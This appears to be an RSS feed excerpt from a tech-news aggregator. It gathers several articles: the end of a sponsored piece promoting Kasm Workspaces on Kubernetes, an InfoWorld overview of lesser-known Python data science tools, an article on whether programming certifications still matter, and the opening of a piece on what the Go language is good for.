should be declarative. The only thing missing was a platform built to take advantage of that alignment.</p><h2>Why the timing is right</h2><p>The appetite for Kubernetes-native workspace delivery has grown significantly as organizations mature their container platform investments. Platform teams that have spent years standardizing on Helm, GitOps workflows, and Kubernetes-native observability are increasingly unwilling to make an exception for desktop infrastructure. The question has shifted from "can we run this on Kubernetes?" to "why isn't this running on Kubernetes already?"</p><p>At the same time, the security case for containerized workspace delivery has become more urgent. Browser-delivered, containerized workspaces provide session isolation that VM-based desktops cannot match — each session is ephemeral, isolated at the container boundary, and terminates cleanly without persistent state. For organizations managing sensitive data, insider risk, or third-party access scenarios, this isolation model is a meaningful security control, not just a deployment convenience.</p><p>The convergence of these two trends — Kubernetes-native infrastructure expectations and containerized session security — creates a clear opportunity for platforms that can address both simultaneously.</p><h2>What Kubernetes-native deployment looks like</h2><p>A Kubernetes-native deployment uses Kubernetes as the control plane for workspace infrastructure — handling orchestration, scaling, and lifecycle management through the same declarative model used across the rest of the platform. Instead of relying on dedicated management appliances or pre-provisioned desktop pools, infrastructure is managed through the same CI/CD, GitOps, observability, and security workflows the platform team already operates. This gives platform teams a consistent operational model rather than maintaining a separate toolset for desktop infrastructure.</p><p><a href="https://kasm.com/solutions/platform?utm_campaign=46469231-1.19%20Release%20Campaign&amp;utm_source=Paid%20Media&amp;utm_medium=VentureBeat&amp;utm_content=venturebeat_kasm_workspaces_platform">Kasm Workspaces, the browser-delivered workspace platform</a>, is purpose-built to use Kubernetes as the control plane for workspace orchestration and delivery. Its deployment model is designed for real enterprise environments — not simplified demos — with production-grade Helm charts that follow Kubernetes conventions, tested upgrade paths between versions, and a standardized backend architecture validated across production deployments. An RDP Gateway component purpose-built for the Kubernetes topology enables Windows and Linux virtual machine access through the same platform.</p><p><b>Key capabilities include:</b></p><ul><li><p>Horizontal session scaling driven by actual demand, orchestrated by Kubernetes — no pre-warmed VM pools required.</p></li><li><p>Declarative configuration through Helm values, enabling GitOps and CI/CD integration for workspace infrastructure.</p></li><li><p>Namespace-level isolation and compatibility with existing RBAC policies, ingress controllers, and secrets management integrations.</p></li><li><p>Metrics export for integration with Prometheus and existing observability stacks.</p></li><li><p>Rolling builds by default, reducing maintenance windows and enabling more predictable version management.</p></li></ul><h2>Real-world applications</h2><p>Regulated-industry remote access. A financial services organization running a Kubernetes-based application platform can deploy Kasm into the same cluster, using the same operational tooling, to deliver isolated browser and application sessions to analysts and advisors. Sessions are ephemeral, network egress is controlled, and the entire deployment is managed through the same GitOps pipeline as their application workloads.</p><p>Contractor and third-party access. Organizations that regularly onboard contractors or external vendors — with the associated privileged access risk — can provision Kasm sessions on Kubernetes that scale up during engagement periods and scale back during low-demand windows. No persistent access. No VPN extension to external parties. Containerized isolation at every session boundary.</p><p>AI/ML development environments. Teams building and running AI models need GPU-enabled development environments with security controls that general-purpose cloud desktops rarely provide. Deploying Kasm on Kubernetes with NVIDIA MiG Multi-Instance GPU support lets platform teams deliver fractional GPU resources into isolated workspace sessions — giving data scientists the compute they need without shared-infrastructure security exposure.</p><h2>The operational shift</h2><p>The practical implication of a Kubernetes-native workspace platform is that platform teams can stop treating workspace infrastructure as a special case. The same engineers who deploy applications can deploy the workspace platform. The same pipelines that manage application configuration can manage workspace configuration. The same dashboards that monitor application health can monitor workspace health.</p><p>That operational consolidation reduces overhead, improves consistency, and eliminates the context-switching cost that has made desktop infrastructure a persistent pain point for cloud-native organizations.</p><p>For organizations still running legacy VDI alongside modern cloud infrastructure, the question is no longer whether a Kubernetes-native alternative exists. It does. The question is when to make the transition.</p><p>Organizations interested in evaluating Kubernetes-native workspace delivery can explore the platform at <a href="https://kasm.com/solutions/platform?utm_campaign=46469231-1.19%20Release%20Campaign&amp;utm_source=Paid%20Media&amp;utm_medium=VentureBeat&amp;utm_content=venturebeat_kasm_workspaces_platform">kasm.com</a> and try out <a href="https://kasm.com/community-edition?utm_campaign=46469231-1.19%20Release%20Campaign&amp;utm_source=VentureBeat&amp;utm_medium=Article&amp;utm_content=venturebeat_community_edition">community edition</a> for yourself. </p><p><i>Daniel Ben-Chitrit is the Chief Product Officer at </i><a href="https://kasm.com/?utm_campaign=46469231-1.19%20Release%20Campaign&amp;utm_source=VentureBeat&amp;utm_medium=Paid%20Article&amp;utm_content=venture_beat_kasm_home_page"><i>Kasm Technologies</i></a><i>.</i></p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[7 newer data science tools you should be using with Python]]></title>
<description><![CDATA[Python’s rich ecosystem of data science tools is a big draw for users. The only downside of such a broad and deep collection is that sometimes the best tools can get overlooked.



Here’s a rundown of some of the best newer or less-known data science projects available for Python. Some, like Pola...]]></description>
<link>https://tsecurity.de/de/3665680/ai-nachrichten/7-newer-data-science-tools-you-should-be-using-with-python/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665680/ai-nachrichten/7-newer-data-science-tools-you-should-be-using-with-python/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Python’s rich ecosystem of data science tools is a big draw for users. The only downside of such a broad and deep collection is that sometimes the best tools can get overlooked.</p>



<p class="wp-block-paragraph">Here’s a rundown of some of the best newer or less-known data science projects available for <a href="https://www.infoworld.com/article/2254260/how-to-get-started-with-python.html">Python</a>. Some, like Polars, are getting more attention but still deserve wider notice. Others, like ConnectorX, are hidden gems.</p>



<h2 class="wp-block-heading">ConnectorX</h2>



<p class="wp-block-paragraph">Most data sits in a database somewhere, but computation typically happens outside of it. Getting data to and from the database for actual work can be a slowdown. <a href="https://github.com/sfu-db/connector-x">ConnectorX</a> loads data from databases into many common data-wrangling tools in Python, and it keeps things fast by minimizing the work required. Most of the data loading can be done in just a couple of lines of Python code and <a href="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html">an SQL query</a>.</p>



<p class="wp-block-paragraph">Like Polars (which I’ll discuss shortly), ConnectorX uses a <a href="https://www.infoworld.com/article/2258463/rust-tutorial-get-started-with-the-rust-language.html">Rust</a> library at its core. This allows for optimizations like being able to load from a data source in parallel with partitioning. Data in <a href="https://www.infoworld.com/article/3489168/postgresql-tutorial-get-started-with-postgresql-16.html">PostgreSQL</a>, for instance, can be loaded this way by specifying a partition column.</p>



<p class="wp-block-paragraph">Aside from PostgreSQL, ConnectorX also supports reading from MySQL/MariaDB, SQLite, Amazon Redshift, Microsoft SQL Server and Azure SQL, and Oracle. The results can be funneled into a <a href="https://www.infoworld.com/article/2264264/how-to-use-pandas-for-data-analysis-in-python.html">Pandas</a> or PyArrow DataFrame, or into Modin or Dask (via Pandas), or Polars (via PyArrow). General support for reading from ODBC is a work in progress.</p>



<h2 class="wp-block-heading">DuckDB</h2>



<p class="wp-block-paragraph">Data science folks who use Python ought to be aware of <a href="https://www.infoworld.com/article/2337363/why-you-should-use-sqlite-3.html">SQLite</a>—a small, but powerful and speedy relational database packaged with Python. Since it runs as an in-process library, rather than a separate application, SQLite is lightweight and responsive.</p>



<p class="wp-block-paragraph"><a href="https://duckdb.org/">DuckDB</a> is a little like someone answered the question, “<a href="https://www.infoworld.com/article/2336981/duckdb-the-tiny-but-powerful-analytics-database.html">What if we made SQLite for OLAP?</a>” Like other <a href="https://www.infoworld.com/article/2334471/what-is-olap-analytical-databases.html">OLAP</a> database engines, it uses a columnar datastore and is optimized for long-running analytical query workloads. But DuckDB gives you all the things you expect from a conventional database, like ACID transactions. And there’s no separate software suite to configure; you can get it running in a Python environment with a single <code>pip install duckdb</code> command.</p>



<p class="wp-block-paragraph">DuckDB can directly ingest data in CSV, <a href="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html">JSON</a>, or <a href="https://www.infoworld.com/article/2336762/exploring-the-apache-ecosystem-for-data-analysis.html">Parquet</a> format, as well as <a href="https://duckdb.org/docs/stable/data/data_sources">a slew of other common data sources</a>. The resulting databases can also be partitioned into multiple physical files for efficiency, based on keys (e.g., by year and month). Querying works like any other <a href="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html">SQL</a>-powered relational database, but with additional built-in features like the ability to take random samples of data or construct window functions.</p>



<p class="wp-block-paragraph">DuckDB also has a small but useful collection of extensions, including full-text search, <a href="https://duckdb.org/docs/stable/core_extensions/vss">accelerated vector similarity search</a>, Excel import/export, direct connections to SQLite and PostgreSQL, Parquet file export, and support for many common geospatial data formats and types.</p>



<h2 class="wp-block-heading">Optimus</h2>



<p class="wp-block-paragraph">One of the least enviable jobs you can be stuck with is cleaning and preparing data for use in a DataFrame-centric project. <a href="https://github.com/hi-primus/optimus">Optimus</a> is an all-in-one tool set for loading, exploring, cleansing, and writing data back out to a variety of data sources.</p>



<p class="wp-block-paragraph">Optimus can use <a href="https://www.infoworld.com/article/2264264/how-to-use-pandas-for-data-analysis-in-python.html">Pandas</a>, Dask, CUDF (and Dask + CUDF), Vaex, or <a href="https://www.infoworld.com/article/2259224/what-is-apache-spark-the-big-data-platform-that-crushed-hadoop.html">Spark</a> as its underlying data engine. Data can be loaded in from and saved back out to Arrow, Parquet, Excel, a variety of common database sources, or flat-file formats like CSV and JSON.</p>



<p class="wp-block-paragraph">The data manipulation API resembles Pandas, but adds <code>.rows()</code> and <code>.cols()</code> accessors to make it easy to do things like sort a DataFrame, filter by column values, alter data according to criteria, or narrow the range of operations based on some criteria. Optimus also comes bundled with processors for handling common real-world data types like email addresses and URLs.</p>



<p class="wp-block-paragraph">One possible issue with Optimus is that it’s still under active development but its last official release was in 2020. This means it might not be as current as other components in your stack.</p>



<h2 class="wp-block-heading">Polars</h2>



<p class="wp-block-paragraph">If you spend much time working with DataFrames and you’re frustrated by the performance limits of <a href="https://www.infoworld.com/article/2264264/how-to-use-pandas-for-data-analysis-in-python.html">Pandas</a>, reach for <a href="https://github.com/pola-rs/polars">Polars</a>. This DataFrame library for Python offers a convenient syntax similar to Pandas.</p>



<p class="wp-block-paragraph">Unlike Pandas, though, Polars uses a library written in <a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">Rust</a> that takes maximum advantage of your hardware out of the box. You don’t need to use special syntax to take advantage of performance-enhancing features like parallel processing or SIMD; it’s all automatic. Even simple operations like reading from a CSV file are faster. Rust developers can <a href="https://github.com/pola-rs/pyo3-polars">craft their own Polars extensions using pyo3</a>.</p>



<p class="wp-block-paragraph">Polars provides eager and lazy execution modes, so queries can be executed immediately or deferred until needed. It also provides a streaming API for processing queries incrementally. Streaming isn’t available yet for many functions, although Polars can always fall back to the in-memory engine for such operations if need be. You can also <a href="https://docs.pola.rs/api/python/stable/reference/lazyframe/api/polars.LazyFrame.show_graph.html">plot execution graphs for queries</a>, streaming or otherwise, if you want to get an idea of what memory or CPU consumption is like for the query (via the external Graphviz library).</p>



<h2 class="wp-block-heading">DVC</h2>



<p class="wp-block-paragraph">A major and pervasive issue with data science experiments is <a href="https://www.infoworld.com/article/2260350/version-control-track-the-who-what-and-when-of-software-changes.html">version control</a>—not of the project’s code, but its data. <a href="https://github.com/iterative/dvc">DVC</a>, short for Data Version Control, lets you attach version descriptors to datasets, check them into Git as you would the rest of your code, and keep versions of data and code consistent together.</p>



<p class="wp-block-paragraph">DVC can track most any kind of dataset as long as they can be expressed as a file, whether kept in local storage or in a <a href="https://dvc.org/doc/user-guide/data-management/remote-storage#supported-storage-types">remote storage service</a> like an Amazon S3 bucket. You can describe how data models are managed and used by way of a “<a href="https://dvc.org/doc/user-guide/data-management/remote-storage#supported-storage-types">pipeline</a>,” which DVC’s documentation describes as being like “a Makefile system for machine learning projects.”</p>



<p class="wp-block-paragraph">The use cases for DVC are intended to be more than just allowing data to be versioned alongside code. It also works as a fast data cache for remotely hosted data, a methodology for tracking experiments conducted with data, and a registry or catalog for <a href="https://www.infoworld.com/article/2254843/what-is-machine-learning-intelligence-derived-from-data.html">machine learning models</a> created with the data. <a href="https://www.infoworld.com/article/2254808/get-started-with-visual-studio-code.html">Visual Studio Code</a> users can integrate DVC workflows into the editor by way of the <a href="https://marketplace.visualstudio.com/items?itemName=Iterative.dvc">DVC VS Code extension</a>.</p>



<h2 class="wp-block-heading">Cleanlab</h2>



<p class="wp-block-paragraph">Good machine learning datasets are hard to come by, because it’s expensive and time-consuming to create clean, properly labeled data. Sometimes, though, you have no choice but to use data that’s raw and inconsistent. <a href="https://github.com/cleanlab/cleanlab">Cleanlab</a> (as in, “cleans labels”) was made for this scenario.</p>



<p class="wp-block-paragraph">Cleanlab uses existing, high-quality machine learning datasets to analyze lower-quality, unlabeled (or poorly labeled) datasets. You create a model based on the original dataset, use Cleanlab to figure out what needs to be improved in the original dataset, then re-train using your automatically cleaned and adjusted dataset to see the difference.</p>



<p class="wp-block-paragraph">Cleanlab is data-model and data-framework agnostic, a powerful aspect of its design. It doesn’t matter if you’re running <a href="https://www.infoworld.com/article/2335194/what-is-pytorch-python-machine-learning-on-gpus.html">PyTorch</a>, OpenAI, scikit-learn, or <a href="https://www.infoworld.com/article/2255099/what-is-tensorflow-the-machine-learning-library-explained.html">Tensorflow</a>; Cleanlab can work with any classifier. It does, however, have specific workflows for common tasks like token classification, multi-labeling, regression, image segmentation and object detection, outlier detection, and so on. It’s worth perusing the <a href="https://github.com/cleanlab/examples">example set</a> to see for yourself how the process works and what results you can expect.</p>



<h2 class="wp-block-heading">Snakemake</h2>



<p class="wp-block-paragraph">Data science workflows are hard to set up, and that’s even harder to do in a consistent, predictable way. <a href="https://github.com/snakemake/snakemake">Snakemake</a> was created to automate the process, setting up data analysis workflows in ways that ensure everyone gets the same results. Many existing data science projects rely on Snakemake. The more moving parts you have in your data science workflow, the more likely you’ll benefit from automating that workflow with Snakemake.</p>



<p class="wp-block-paragraph">Snakemake workflows resemble GNU Make workflows—you define the steps of the workflow with rules, which specify what they take in, what they put out, and what commands to execute to accomplish that. Workflow rules can be multithreaded (assuming that gives them any benefit), and configuration data can be piped in from <a href="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html">JSON</a> or <a href="https://www.infoworld.com/article/2336307/7-yaml-gotchas-to-avoidand-how-to-avoid-them.html">YAML</a> files. You can also define functions in your workflows to transform data used in rules, and write the actions taken at each step to logs.</p>



<p class="wp-block-paragraph">Snakemake jobs are designed to be portable—they can be deployed on any <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes-managed environment</a>, or in specific cloud environments like Google Cloud Life Sciences or Tibanna on AWS. Workflows can be “frozen” to use a specific set of packages, and successfully executed workflows can have unit tests automatically generated and stored with them. And for long-term archiving, you can store the workflow as a tarball.</p>
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<title><![CDATA[Do programming certifications still matter?]]></title>
<description><![CDATA[If you’re a software developer or architect, you might wonder if programming certifications are still worth the effort, especially in the era of rapid AI-driven evolution. The short answer is, it depends.



“Certifications are shifting from a checkbox to a compass. They’re less about proving you...]]></description>
<link>https://tsecurity.de/de/3665678/ai-nachrichten/do-programming-certifications-still-matter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665678/ai-nachrichten/do-programming-certifications-still-matter/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:44 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">If you’re a software developer or architect, you might wonder if programming certifications are still worth the effort, especially in the era of rapid <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">AI-driven evolution</a>. The short answer is, it depends.</p>



<p class="wp-block-paragraph">“Certifications are shifting from a checkbox to a compass. They’re less about proving you memorized syntax and more about proving you can architect systems, instruct AI coding assistants, and solve problems end-to-end,” says Faizel Khan, lead AI engineer at <a href="https://landingpoint.com/">Landing Point</a>, an executive search and recruiting firm.</p>



<p class="wp-block-paragraph">“In the AI era, fewer students will get trained on the job, which means they have to train themselves,” Khan says. “Certifications—especially architectural ones like AWS, Kubernetes, Terraform—are still the clearest path to do that.”</p>



<h2 class="wp-block-heading">Pros and cons of programming certifications</h2>



<p class="wp-block-paragraph">It’s not all black and white when it comes to deciding whether to pursue programming certifications. The effort involves both pros and cons.</p>



<p class="wp-block-paragraph">“In terms of pros, certifications concretely demonstrate that you have a skillset at a documented level,” says Chris Riccio, vice president of engineering at <a href="https://uplevelteam.com/">Uplevel</a>, an engineering optimization system provider. “They also show that you’ve put in the time and effort to learn, study, and prepare.”</p>



<p class="wp-block-paragraph">Programming certifications are “a useful way to validate foundational skills and show that someone understands core concepts,” says Greg Fuller, vice president of Skillsoft’s training provider, <a href="https://www.codecademy.com/">Codecademy</a>. “They’re especially helpful for people entering the field or shifting from adjacent roles.”</p>



<p class="wp-block-paragraph">Certifications offer a structured path to demonstrate proficiency, and they can confirm your ability to build and deploy in various environments, Fuller says.</p>



<p class="wp-block-paragraph">These types of certifications often demonstrate baseline proficiency and continuous learning, says Reshmi Ramachandran, head of partnerships and GTM strategy for <a href="https://www.cprime.com/">Cprime</a>, a consultancy. “These are often key indications of proficiency for companies looking to filter large candidate pools,” she says.</p>



<p class="wp-block-paragraph">Certifications really do two things, Khan adds. “First, they force you to learn by doing,” he says. “If you’re taking AWS Solutions Architect or Terraform, you don’t pass by guessing—you plan, build, and test systems. That practice matters. Second, they act as a public signal. Think of it like a micro-degree. You’re not just saying, ‘I know cloud.’ You’re showing you’ve crossed a bar that thousands of other engineers recognize.”</p>



<p class="wp-block-paragraph">But there are cons, too. “In tech, employers don’t just want credentials, they want proof you can deliver,” says Kevin Miller, CTO at <a href="https://www.ifs.com/industries/manufacturing/industrial-manufacturing">IFS</a>, a maker of factory automation software. “Programming certifications can be a valuable indicator of your baseline knowledge and competencies, especially if you’re early in your career or pivoting into tech, but their importance is dwindling.”</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/generative-ai/">AI tools</a> that can generate, debug, and optimize code are <a href="https://www.infoworld.com/article/4077352/85-of-developers-use-ai-regularly-jetbrains-survey.html" data-type="link" data-id="https://www.infoworld.com/article/4077352/85-of-developers-use-ai-regularly-jetbrains-survey.html">already performing tasks once done by entry-level developers</a>, “which means fewer traditional programming roles are available,” Miller says. “As a result, the job market is becoming more competitive, and certifications aren’t seen as the noteworthy achievement they once were.”</p>



<p class="wp-block-paragraph">What’s more, not all certifications carry the same weight, Riccio says. “Some may reflect only familiarity rather than true expertise,” he says. “Certifications also often measure ‘book knowledge’ rather than practical experience, and they don’t always map clearly to the requirements of a specific role.”</p>



<p class="wp-block-paragraph">Programming certifications “can be a helpful signal, especially for confirming baseline knowledge in areas like cloud, security, or devops, but they’re not the full picture,” says Morgan Watts, vice president of IT at <a href="https://developer.8x8.com/">8×8</a>, a contact center platform developer.</p>



<p class="wp-block-paragraph">“I’m more interested in a candidate’s attitude and aptitude: what problems they’ve solved, what they’ve built, and how they’ve approached challenges,” Watts says. “Certifications can show commitment and discipline, and they’re especially useful in highly specialized roles. But I’m cautious when someone presents a laundry list of certifications with little evidence of real-world application.”</p>



<p class="wp-block-paragraph">A certification without experience doesn’t carry much weight, Watts says, and over-certification can sometimes signal the wrong focus. “Ultimately, it’s the ability to apply knowledge, collaborate, and adapt that sets great developers apart,” he says.</p>



<p class="wp-block-paragraph">Finally, certifications can age fast, Khan says. “Tech stacks evolve and a badge from two years ago may already feel dusty,” he says. “And some certifications are paper-thin—multiple-choice exams that don’t prove you can debug production at 2 a.m. So, the risk is you collect badges but still can’t ship.”</p>



<h2 class="wp-block-heading">Which certifications will get you noticed?</h2>



<p class="wp-block-paragraph">Despite the drawbacks, certifications are still very much in demand, and some carry more weight than others.</p>



<p class="wp-block-paragraph">The most in-demand certifications are typically platform-based—Amazon Web Services (AWS), Google Cloud Platform (GCP), Microsoft Azure, and others, Riccio says. “Many of these platforms provide managed services that integrate with existing systems or serve as the glue between them,” he says. “Today’s engineering teams aren’t just building standalone systems in isolation; they’re using other systems to store data, orchestrate business workflows, and connect applications.”</p>



<p class="wp-block-paragraph">A certification that demonstrates the ability to build solutions on these platforms can put a development professional ahead of the competition, Riccio says.</p>



<p class="wp-block-paragraph">“The certifications I see in highest demand tend to reflect the evolving tech landscape,” Watts says. “Cloud certifications from AWS, Azure, and GCP are incredibly valuable, especially as distributed systems become the norm.”</p>



<p class="wp-block-paragraph">Also in demand are certifications for <a href="https://www.infoworld.com/article/3632270/the-devops-certifications-tech-companies-want.html">devops and CI/CD tools</a> including <a href="https://www.infoworld.com/article/3529526/how-to-succeed-with-kubernetes.html">Kubernetes</a>, <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker</a>, and <a href="https://www.infoworld.com/article/2260091/what-is-jenkins-the-ci-server-explained.html">Jenkins</a>, Watts says, “because deployment automation and reliability are critical at scale. Also, with AI reshaping development, we’re seeing growing interest in certifications around machine learning, data science, and AI model integration. These certifications stand out because they align directly with the skills that teams need to move faster and more intelligently.”</p>



<aside class="sidebar large">
<h3>More about developer certifications</h3>
<p>Learn more about developer courses and certifications tech companies want:</p>
<ul>
<li><a href="https://www.infoworld.com/article/4055032/ai-developer-certifications-tech-companies-want.html">AI developer certifications</a></li>
<li><a href="https://www.infoworld.com/article/3583466/the-machine-learning-certifications-tech-companies-want.html">Machine learning certifications</a></li>
<li><a href="https://www.infoworld.com/article/2337635/4-cloud-certifications-that-will-help-you-stand-out.html">Cloud development certifications</a></li>
<li><a href="https://www.infoworld.com/article/3632270/the-devops-certifications-tech-companies-want.html">Devops and CI/CD certifications</a></li>
</ul>
</aside>




<p class="wp-block-paragraph">On the AI front, certifications in <a href="https://www.infoworld.com/article/2255099/what-is-tensorflow-the-machine-learning-library-explained.html">TensorFlow</a> and other <a href="https://www.infoworld.com/article/3583466/the-machine-learning-certifications-tech-companies-want.html">machine learning platforms</a> are gaining traction as organizations look to embed AI across the development process, Watts says. “These are the certifications that align closely with where modern engineering is headed—scalable, secure, and AI-enabled,” he says.</p>



<p class="wp-block-paragraph">And then there are <a href="https://www.csoonline.com/article/3970107/the-14-most-valuable-cybersecurity-certifications.html">cybersecurity credentials</a> that continue to be in high demand. Security certifications, such as CompTIA Security+ or Certified Ethical Hacker, “have become essential as every company faces increasing cyber threats and compliance requirements,” Miller says.</p>



<p class="wp-block-paragraph">“Core programming certifications are still a bit niche, but the adjacent skills, like those that help developers deploy, secure, and scale their code, are driving demand,” Fuller says. “Companies want developers who understand the full lifecycle, not just how to write code.”</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3980325/the-java-certifications-tech-companies-want.html">The best Java certifications for software developers</a>.</strong></p>



<h2 class="wp-block-heading">Certifications in the hiring process</h2>



<p class="wp-block-paragraph">Experts are clear that programming certifications alone will not get you the job. But they do play a role in the hiring process.</p>



<p class="wp-block-paragraph">“The information technology world is characterized by rapid and continuous evolution, including the skills and knowledge required to work in the field,” says Diane Rafferty, managing director of the National Technology Group at <a href="https://www.atriumglobal.com/">Atrium</a>, a global talent solutions and extended workforce management firm.</p>



<p class="wp-block-paragraph">“Certifications not only prove that you have the skills and knowledge needed, but they also show employers that you’re invested in your education and career growth,” Rafferty says. “They can give you a competitive edge when looking for a job, as many companies now require candidates to have them.”</p>



<p class="wp-block-paragraph">Certifications are one part of the hiring equation, “but never the only part,” Watts says. “They help validate that a candidate has taken the time to build foundational knowledge, and that’s a good sign. But I put more weight on how a person thinks, solves problems, and contributes to the team. I look for people who are curious and proactive, who are learning because they want to, not just because a course told them to.”</p>



<p class="wp-block-paragraph">Certifications can also play a valuable role in retention, Watts says. “I encourage team members to pursue growth, and when they invest in their own development, the whole organization benefits,” he says. “But again, it’s that balance of knowledge, attitude, and applied experience that really moves the needle.”</p>



<p class="wp-block-paragraph">Certifications “may allow you to breeze through the initial résumé screening process, potentially getting you to the next stage faster,” Riccio says. “At a minimum, they will set your profile apart from the rest of the pack. They also demonstrate that you’ve reached a baseline level of expertise, allowing hiring managers to quickly evaluate whether you have the skills for the role.”</p>



<p class="wp-block-paragraph">Employers today “care far less about whether someone has passed an exam and far more about whether they can apply knowledge effectively in real-world situations, leverage AI tools, and solve complex problems,” Miller says. “A certification might get someone an interview, but being able to demonstrate problem-solving skills, teamwork, and adaptability will really make them stand out.”</p>



<h2 class="wp-block-heading">Popular programming certifications</h2>



<p class="wp-block-paragraph">The following certifications consistently rose to the top in my conversations with tech leaders and hiring managers.</p>



<h3 class="wp-block-heading">AWS Certified Developer—Associate</h3>



<p class="wp-block-paragraph">Showcases skills and knowledge in developing, optimizing, packaging, and deploying applications, using CI/CD workflows, and identifying and resolving application issues, according to AWS. This certification is said to be a good starting point on the AWS certification journey for professionals in IT or cloud developer job roles.</p>



<h3 class="wp-block-heading">Azure Developer Associate</h3>



<p class="wp-block-paragraph">This certificate from Microsoft is intended for developers participating in all phases of cloud development, including design, deployment, maintenance, and monitoring. The course teaches developers how to create end-to-end solutions in Microsoft Azure, using the Microsoft Learn Sandbox environment to access Azure resources and services.</p>



<h3 class="wp-block-heading">Certified Kubernetes Application Developer (CKAD)</h3>



<p class="wp-block-paragraph">This certification was created by the Linux Foundation and Cloud Native Computing Foundation. It demonstrates that candidates can design, build, and deploy cloud-native applications for Kubernetes.</p>



<h3 class="wp-block-heading">Certified Secure Software Lifecycle Professional (CSSLP)</h3>



<p class="wp-block-paragraph">This certification, from ISC2, focuses on secure software development practices. It recognizes leading application security skills and demonstrates advanced technical skills and knowledge needed for authentication, authorization, and auditing throughout the software development lifecycle.</p>



<h3 class="wp-block-heading">Databricks Certified Machine Learning Professional</h3>



<p class="wp-block-paragraph">Professionals learn about the latest data and AI techniques and how they can use the Databricks Data Intelligence Platform to build a variety of solutions across data engineering, data warehousing, data science, and AI.</p>



<h3 class="wp-block-heading">Professional Cloud Architect</h3>



<p class="wp-block-paragraph">This certification from Google assesses the ability to design and plan a cloud solution architecture, manage and provision the cloud solution infrastructure, design for security and compliance, analyze and optimize technical and business processes manage implementations of cloud architecture, and ensure solution and operations reliability.</p>



<h3 class="wp-block-heading">Terraform Associate</h3>



<p class="wp-block-paragraph">This certification from HashiCorp is for cloud engineers specializing in operations, IT, or development who know the basic concepts and skills associated with Terraform. It validates foundational skills in using <a href="https://www.infoworld.com/article/3893387/how-terraform-is-evolving-infrastructure-as-code.html">Terraform</a> for <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure as code</a> development.</p>
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<title><![CDATA[What’s the Go language really good for?]]></title>
<description><![CDATA[Over its more than 15 years in the wild, Google’s Go programming language has evolved from a curiosity for alpha geeks to the battle-tested programming language behind some of the world’s most important cloud-native software projects.



If you’ve ever wondered why Go is the language of choice fo...]]></description>
<link>https://tsecurity.de/de/3665677/ai-nachrichten/whats-the-go-language-really-good-for/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665677/ai-nachrichten/whats-the-go-language-really-good-for/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:43 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Over its more than 15 years in the wild, Google’s <a href="https://www.infoworld.com/article/2255834/go-tutorial-get-started-with-google-go.html">Go programming language</a> has evolved from a curiosity for alpha geeks to the battle-tested programming language behind some of the world’s most important <a href="https://www.infoworld.com/article/2255318/what-is-cloud-native-the-modern-way-to-develop-software.html">cloud-native</a> software projects.</p>



<p class="wp-block-paragraph">If you’ve ever wondered why Go is the language of choice for projects like <a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker</a> and <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a>, this article is for you. We’ll discuss Go’s defining characteristics and how it differs from other programming languages. You will also learn what kinds of projects Go is best suited for, including the state of <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">Go development for AI-powered tools</a>. We’ll conclude with an overview of Go’s feature set, some limitations of the language, and where it may be going from here.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/2255834/go-tutorial-get-started-with-google-go.html">Golang tutorial: Get started with the Go language</a>.</strong></p>



<h2 class="wp-block-heading">Go is small and simple</h2>



<p class="wp-block-paragraph">Go, or <a href="https://go.dev/doc/faq#go_or_golang">Golang</a> as it’s often called, was created by Google employees—chiefly longtime Unix guru and Google distinguished engineer Rob Pike—but it’s not strictly speaking a “Google project.” Rather, Go is a community-developed <a href="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html">open source</a> project, spearheaded by leadership with strong opinions about how Go should be used and the direction the language should take.</p>



<p class="wp-block-paragraph">Go is meant to be easy to learn and straightforward to use, with syntax that is simple to read and understand. Go does not have a large feature set, especially when compared to languages like <a href="https://www.infoworld.com/article/2338049/c-23-language-standard-declared-feature-complete.html">C++</a>. Go’s syntax is reminiscent of <a href="https://www.infoworld.com/article/2261151/why-the-c-programming-language-still-rules.html">C</a>, making it relatively easy for longtime C developers to learn. That said, many features of Go, especially its <a href="https://www.infoworld.com/article/2255834/go-tutorial-get-started-with-google-go.html">concurrency and functional programming features</a>, harken back to languages like Erlang.</p>



